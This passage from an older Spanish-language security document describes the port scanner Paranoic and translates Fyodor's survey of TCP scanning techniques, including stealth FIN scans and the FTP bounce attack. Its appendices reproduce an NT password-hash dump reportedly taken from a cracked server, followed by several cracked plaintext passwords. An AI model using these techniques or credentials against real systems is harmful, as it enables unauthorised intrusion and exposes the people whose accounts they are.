tanto con los hot-fix como con los Service Pack, y donde ademas podras

encontrar abundante informacion sobre la causa que motivo la aparicion de tal

parche.

 

 

 

 

12. Escaneadores de puertos TCP/UDP. Paranoic.

 

12.1. El arte del escaneo de puertos TCP.

 

( Traduccion libre y recorte del documento de Fyodor fyodor@dhp.com [20]

publicado tambien en Phrack 49. En su pagina Web podras encontrar ademas el

excelente escaneador de puertos para maquinas Unix/Linux "nmap")

 

Este documento trata sobre muchas de las tecnicas usadas para determinar que

puertos de cierta maquina estan escuchando para atender conexiones. Estos

puertos representan canales de comunicacion potenciales. Mapear su existencia

facilita el intercambio de informacion con el host, y por lo tanto es

interesante y util para cualquiera que desee explorar su entorno de red,

incluyendo a hackers.

 

A pesar de lo que oigas de los medios de comunicacion, INTERNET no solo es el

puerto 80. Cualquiera que confie exclusivamente en la WWW para recabar

informacion se dejara el 90% de la misma en el tintero.

 

12.2. Introduccion.

 

El escaneo, como metodo de descubrir canales de comunicacion susceptibles de

ser explotados, lleva en uso mucho tiempo. La idea es escanear tantos puertos

de escucha como sea posible,  y guardar informacion de aquellos que sean

receptivos o de utilidad para tus necesidades particulares. Muchas utilidades

de auditoria se basan en este paradigma.

 

El escaneo de puertos entro en el mundo de la seguridad informatica junto con

los sistemas de telefonia. Dado que actualmente tenemos millones de numeros

de telefono a los que podemos acceder con una simple llamada, pero de todos

ellos, solo nos interesan el 0.5 %, quizas aquellos que respondan con una

operadora (aquellos con los que nos conectemos via modem).

 

La solucion logica para encontrar todos estos numeros que nos interesan es

intentar conectarnos a todos. Asi pues, el-campo conocido como "wardialing"

salio a la luz. Se desarrollaron excelentes programas como Toneloc

desarrollados para escanear zonas geograficas enteras y mas. La idea basica

es simple. Si llamas a un numero y tu modem te devuelve un mensaje de CONNECT,

grabas el numero. En otro caso, el ordenador colgara el telefono y llamara

incansablemente al siguiente numero.

 

Aunque el "wardialing" aun es de utilidad, nos encontramos con que muchos de

los ordenadores con los que deseamos conectarnos estan conectados a traves de

redes como la Internet en vez de por redes  telefonicas analogicas. Escanear

este tipo de maquinas implica las mismas tecnicas de fuerza bruta. Mandamos

una ristra de paquetes para varios protocolos y deducimos que servicios estan

escuchando por las respuestas que recibimos o no recibimos.

 

 

12.3. Tecnicas.

 

Con el tiempo, se han desarrollado un gran numero de tecnicas para reconocer

los puertos abiertos de un sistema. Todas ellas ofrecen ventajas y desventajas.

He aqui una peque¤a descripcion  de las mas comunes:

 

? TCP connect() scanning:  esta es la forma basica del escaneo de puertos TCP.

La llamada al  sistema connect() que te ofrece tu sistema operativo es usado

para abrir conexiones en cualquier puerto interesante de la maquina. Si el

puerto esta escuchando, connect() devolvera una respuesta de exito, cualquier

otro caso significara que el puerto no esta abierto o que no nos podemos

conectar a el desde nuestra situacion. Una fuerte ventaja de esta tecnica es

que no necesitas de privilegios especiales. Cualquier usuario en cualquier

maquina UNIX puede usar esta llamada. Otra ventaja es la velocidad. Aunque

realizar una llamada connect() de forma separada para cada puerto a

investigar de forma lineal podria llevarnos mucho tiempo en una conexion

lenta, puedes agilizar el escaneo usando muchos sockets en paralelo. Usando

I/O de no bloqueo te permite inicializar un periodo de time-out peque¤o y

observar muchos puertos a la vez.

La desventaja mas llamativa es que este metodo es facilmente detectable por

el administrador del sistema a escanear y por lo tanto facil de filtrar. Los

logs del sistema objetivo mostraran un gran numero de conexiones y mensajes

de error para los servicios en los que se ha conseguido conectar la maquina

que lanza el scanner e inmediatamente se ha desconectado.

 

 

? TCP SYN scanning: esta tecnica a menudo se refiere como un escaneo de

"media-apertura", dado que nunca se abre una sesion TCP completa. Mandas un

paquete SYN, como si fueras a usar una conexion real y esperar por la

respuesta.

Un SYN|ACK indica que el puerto esta abierto. Un RST es indicativo de que

esta cerrado. Si se recibe un SYN|ACK, inmediatamente debemos mandar un RST

para terminar la conexion. La principal ventaja de esta tecnica de escaneo es

que pocos sitios estan preparados para registrarlos en sus logs. La

desventaja es que en Unix, se necesitan privilegios de administrador para

construir estos paquetes SYN.

 

? TCP FIN scanning: hay veces en que incluso el escaneo SYN no es lo

suficientemente "clandestino" o limpio. Algunos firewalls y filtros de

paquetes monitorizan la red en busca de paquetes SYN mandados a puertos

restringidos y existen programas como synlogger y Courtney estan disponibles

para detectar este tipo de scanners. Los paquetes FIN, por otro lado, podrian

ser capaces de pasar sin advertirlos. Este tipo de escaneo fue explicado en

detalle por Uriel Maimon en la e-zine Phrack 49, articulo 15. La idea es que

los puertos cerrados tienden a responder a los paquetes FIN con el RST

correspondiente. Los puertos abiertos, en cambio, suelen ignorar el paquete

en cuestion. Como apunto Alan Cox, este es un comportamiento correcto del

protocolo TCP . Sin embargo, algunos sistemas (entre los que se hallan los

sistemas Microsoft) no cumplen con este requerimiento. Mandaran paquetes RST

siempre, independientemente de si el puerto esta abierto o cerrado, y por lo

tanto no son vulnerables a este tipo de escaneo. Sin embargo, es posible

realizarlo en otros sistemas Unix. Actualmente, a veces surge la necesidad de

determinar de forma remota si un servidor esta gobernado por Unix o NT, y

esta puede ser una buena forma de hacerlo.

Este tipo de escaneo, tambien se conoce por el nombre de "Stealth Port

Scanning".

 

? Fragmentation scanning: esta no es una nueva tecnica de escaneo como tal,

sino una  modificacion de las otras. En lugar de mandar sin mas los paquetes

de sondeo, los partimos en un par de peque¤os fragmentos IP. Asi, estamos

consiguiendo partir una cabecera IP en distintos paquetes para hacerlo mas

dificil de monitorizar por los filtros de paquetes y por lo tanto mas dificil

de averiguar que demonios estas haciendo por parte del sistema objetivo. Pero

hay que tener cuidado con esta tecnica. Algunos programas tienen problemas

con la gestion de este tipo de paquetes tan peque¤os. El sniffer preferido

del autor se cuelga con un fallo de segmentacion inmediatamente tras recibir

el primer paquete de 36-bytes. Y tras el viene uno de 24 bytes!! Aunque este

metodo no pasara los filtros de paquetes y firewalls que encolan todos los

fragmentos IP (como la opcion CONFIG_IP_ALWAYS_DEFRAG en Linux), la mayoria

de las redes no se pueden permitir la bajada del rendimiento que el hacerlo

asi causa al sistema.

 

? TCP reverse ident scanning: como apunto Dave Goldsmith en 1996 en la lista

de distribucion BugTraq, el protocolo ident (RFC 1413) permite descubrir el

nombre de usuario del propietario  de cualquier proceso conectado via TCP

(en UNIX), incluso si dicho proceso no fue el que inicio la conexion. Asi

que es posible, por ejemplo, conectarse al puerto http y despues usar el

demonio identd para averiguar si el servicio esta ejecutandose con permisos

de root. Este tipo de sondeo solo es posible con una conexion TCP  completa

con el host objetivo (es decir, con la primera forma de escaneo).

 

? FTP bounce attack: una caracteristica importante del protocolo FTP (RFC 959)

es el soporte de conexiones "proxy". En otras palabras, podria ser capaz de

conectarme de diablo.com al PI (interprete de protocolos) del servidor FTP de

victima.com para establecer el control de la comunicacion de la conexion.

Despues podria pedirle al PI del servidor que iniciara un proceso DTP

(Data Transfer Protocol) para enviar un fichero a cualquier parte de Internet.

Normalmente a un DTP de Usuario, pero la RFC especifica que esta peticion de

envio de ficheros puede ser de un servidor a otro servidor. Esta RFC se

escribio en 1985 y entonces esta tecnica funcionaba correctamente, pero hoy

en dia es menos comun encontrar este tipo de servidores (aunque yo aun no he

encontrado uno que no lo permita en Espa¤a). Como escribio *Hobbit* en 1995,

"esta debilidad en el protocolo puede ser usada para mandar mails y news de

forma intraceable, conectarse a servidores de otros sitios, llenar discos,

intentar saltarse firewalls y ademas ser muy dificil de trazar y/o detectar."

Lo que haremos nosotros sera usar esta debilidad para (sorpresa!) escanear

puertos TCP desde un servidor ftp con soporte de conexiones "proxy". Asi

podriamos conectarnos a un servidor FTP tras un firewall y despues escanear

puertos que en general suelen estar bloqueados (139 es una buena opcion). Si

el servidor FTP permite la lectura de y la escritura a un directorio

(como /incoming) puedes mandar datos arbitrarios a los puertos que encuentres

abiertos.

 

Para el escaneo de puertos, nuestra tecnica es usar el comando PORT para

declarar que nuestro "User-DTP" pasivo esta escuchando en la maquina objetivo

en un numero de puerto determinado.  Despues intentamos realizar un LIST del

directorio actual para que se mande el  resultado al puerto del servidor

especificado via canal DTP. Si la maquina objetivo esta escuchando en el

puerto especificado, la transferencia finalizara con un mensaje de exito

(generando una respuesta con codigo 150 y otra con codigo 226). En otro caso,

recibiremos un mensaje de error "425 Can't build data connection: Connection

refused."

Posteriormente lanzaremos otro comando PORT para intentar conectarnos al

siguiente puerto de nuestro host objetivo. Las ventajas de esta tecnica son

obvias (dificil de tracear, con potencial de atravesar firewalls). La

principal desventaja es que esta tecnica es lenta, y que algunos servidores

FTP se han dado cuenta del problema y han deshabilitado la caracteristica

"proxy".

 

 

12.4. ¨Que tecnica usa PARANOIC?

 

Paranoic implementa la primera de las tecnicas presentadas, con la mejora de

lanzar varias conexiones (sockets)  a la vez, haciendo el escaneo mas

eficiente. La idea inicial consistia en que usara el metodo aleatorio y el

Stealth Port Scanning, pero mas tarde, me encontre con la desagradable

sorpresa de que este metodo no se puede implementar para escanear maquinas

con NT. Ademas, este y otros tipos de escaneo que no sean el  "TCP connect()

scanning",  implican programar con Winsocks a bajo nivel, y dado el precario

grado de conocimientos de programacion para NT con los que comence este

proyecto, no me ha sido posible ir mas alla de lo que en estos momentos hace

Paranoic en su modulo de "TCP Port Scanning". Esta es una tarea a mejorar en

el futuro. Tambien se estudiara la posiblidad de implementar la tecnica

"FTP Bounce Attack" en futuras versiones de Paranoic, pues en Espa¤a, los

servidores FTP susceptibles a este tipo de ataque aun son numerosos.

 

Apendice B. El fichero de passwords de prueba.

 

El autor del articulo original sobre crackeo de passwords ( [] The Havoc

Technical Journal n§ 13,  por WaRsPrItE) edito el siguiente fichero de

passwords para protegerse y salvaguardar el anonimato del servidor crackeado

(y los usuarios del mismo), sin embargo el fichero es perfectamente valido

como ejemplo.

 

Administrator:500:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

Guest:501:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1004:ACAA2B2B4DB1C2F509752A3293831D17:CA45A13FD16012BF33AA68CDFE061FCD:<user name>::

ccrouter:1009:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user name>::

<user name>:1010:9C0E16584A1066E6C2265B23734E0DAC:3BC5E21044369A593A461ABB6942A8A5:<user name>::

<user name>:1011:D30B776BDA67C893AAD3B435B51404EE:9507A8AD5A9BDFC54E08F713CB74764F:<user name>::

<user name>:1012:1E074F8EF51098B2AAD3B435B51404EE:4F99B255DB7C1852ED01A80576202901:<user name>::

<user name>:1013:904021AAA178696DAAD3B435B51404EE:E8CD0E4A9E89EAB931DC5338FCBEC54A:<user name>::

<user name>:1014:0A5A9AD4C8774E46C2265B23734E0DAC:6ABC3FA6A76801DFFC63BE7565CFD666:<user name>::

<user name>:1015:3F109A599C4324BD93E28745B8BF4BA6:CA162D1F614293BC30686E0AC2F0E67A:<user name>::

<user name>:1016:7CF5973DF34EA1443B80EEA293B236B6:3E5CC1D5EDB4B91334EFEEF1258D3E50:<user name>::

<user name>:1017:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1018:9EF072AE87B5C9C4AAD3B435B51404EE:6FF0D8A475E5C5B0DFD6A8676F18A829:<user name>::

<user name>:1019:6166F0244140F965AAD3B435B51404EE:ECF1BE0786D6E49470107CAB4E3B3E7B:<user name>::

<user name>:1020:BE4C45E3524EF720F500944B53168930:8BB50ADC452C4EE196775B7B5008B341:<user name>::

Supervisor:1026:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user name>::

FPNW Service Account:1027:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user name>::

<user name>:1030:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1040:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1041:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1042:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1043:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1044:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1045:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1046:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1047:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1048:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1049:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user name>::

<user name>:1051:0182BD0BD4444BF836077A718CCDF409:259745CB123A52AA2E693AAACCA2DB52:<user name>::

test:1061:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user name>::

<user name>:1062:6B35A2BA7D7C5B3AAAD3B435B51404EE:3A1B4CFCEB4385D1108253A357B2955E:<user name>::

FILE-SERVER$:1066:79570B2F6875312AA1455905822538D8:D114D50DD21D6ADDEBB008E3231D7A44:::

NT$:1067:07128FE8EEB666E788371ED292FDCCE7:AF7C003BB0917BC28E37F1785E2B9018:::

<user name>:1068:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user name>::

IUSR_FILE-SERVER:1069:338C0358DECFDA2902386B2E93EFFD10:9393E296495FDC72CCF951D249BB921F:<user name>::

PLUTONIUM$:1070:C31C1D58633BE3ED27892589E3A13688:26BC63583A0EB0DB6E7C6DCA33F3AB00:::

 

Apendice C. Los resultados del crackeo de passwords.

 

User: [<user name>] Lanman PW: [LOBOS1] NT dialect PW: [lobos1]

User: [<user name>] Lanman PW: [MANDAR] NT dialect PW: [mandar]

User: [<user name>] Lanman PW: [SKIING] NT dialect PW: [skiing]